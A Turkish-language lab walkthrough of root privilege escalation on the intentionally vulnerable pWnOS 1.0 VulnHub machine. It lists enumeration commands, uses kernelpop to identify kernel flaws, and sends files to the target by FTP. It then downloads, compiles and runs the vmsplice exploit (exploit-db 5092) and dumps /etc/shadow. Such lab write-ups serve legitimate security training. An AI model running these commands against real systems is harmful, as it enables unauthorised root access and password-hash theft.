Yazıda kullanılan pWnOS: 1.0 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/pwnos-10,33/
Not: VMware Workstation üzerinden kullanım durumlarında sanal makinenin Copy değil, Moved olarak içeri aktarılması tavsiye edilmektedir.
Bu makineye aşağıdaki bilgiler ile SSH servisi üzerinden erişim sağlanabilir.
Kullanıcı Adı: vwmare
Parola: h4ckm3
Linux işletim sistemine standart kullanıcı yetkisine sahip bir kullanıcı (vmware) ile erişime sahip olunduğu görülmektedir.
id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd
Sanal makinenin işletim sisteminin Ubuntu 7.10, çekirdeğinin de 2.6.22-14-server olduğu görülmektedir.
uname -a
cat /etc/*release*
Muhtemel hak yükseltme zafiyetlerinin listesi için Kernelpop (Kernel Privilege Escalation Enumeration And Exploitation Framework) isimli Python betiği kullanılabilir.
git clone https://github.com/spencerdodd/kernelpop.git
ls kernelpop/ -la
Kurban makineye betiği transfer etmek için FTP servisi başlatılabilir.
python -m pyftpdlib -p 21 -w
pip install pyftpdlib
python -m pyftpdlib -p 21 -w
Kurban bilgisayarda da FTP servisine bağlanarak ilgili dosyalar “get” komutu ile tek tek alınabilir.
ftp 10.100.50.135
anonymous
BirParola
cd kernelpop
dir
bye
Ancak çok sayıda dosya ve dizin olması durumunda tek tek dosyaları almak yerine “wget” aracı ile toplu bir şekilde alınabilir.
wget -r -nH -nc ftp://anonymous:BirParola@10.100.50.135//kernelpop
FTP sunucusu tarafında da bu dosyaların alındığı görülmektedir.
Ancak “kernelpop.py” betiği kurban sanal makinesinde çalıştırılamamaktadır.
ls
cd kernelpop/
ls
python kernelpop.py
Bu sebeple, “kernelpop.py” betiği “python3” yüklü olan Kali makinede çalıştırılacaktır.
cd kernelpop/
python3 kernelpop.py -h
“uname -a” çıktısı betiğe verildiğinde zafiyetler listelenmektedir.
python3 kernelpop.py -i
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
Not: Uyarı mesajında da görüldüğü gibi, betiğin zafiyet aranan makinede çalışması daha doğru/stabil sonuçlar verecektir.
“CVE20080600 vmsplice_to_pipe 2.6.17 through 2.6.24.1” ile belirtilen zafiyet ve daha bir çok zafiyet listelenmiştir. “Linux Kernel 2.6.17 < 2.6.24.1 – ‘vmsplice’ Local Privilege Escalation (2)” isimli CVE-2008-0009, CVE-2008-0010 ve CVE-2008-0600 ID’li zafiyete ait kod internetten indirilip çalıştırılabilir. Bu istismar kodu ayrıca “jessica_biel_naked_in_my_bed.c“, “vmsplice1.c” olarak da adlandırılmakta ve kernelpop.py betiğindeki çıktıda da bu zafiyet önerileri görülmektedir.
https://www.exploit-db.com/exploits/5092/
İstismar kodu internetten Kali makineye indirilir.
wget https://www.exploit-db.com/raw/5092/ -O 5092.c
Kali makine üzerinde açılan FTP servisi üzerinden de kurban makineye iletilir.
python -m pyftpdlib -p 21 -w
ftp 10.100.50.135
anonymous
BirParola
get 5092.c
bye
İstismar kodu derlenir.
gcc 5092.c -o HakYukselt-vmsplice-5092
ls -la *5092*
Böylece hak yükseltilebilmiştir.
id
./HakYukselt-vmsplice-5092
cat /etc/shadow | grep -Ev “:\*:|:\!:”
Kaynaklar:
https://www.kitploit.com/2017/11/kernelpop-kernel-privilege-escalation.html
https://chousensha.github.io/blog/2016/02/15/pentest-lab-pwnos/
https://ub3rsec.github.io/pages/2016/pwnos10.html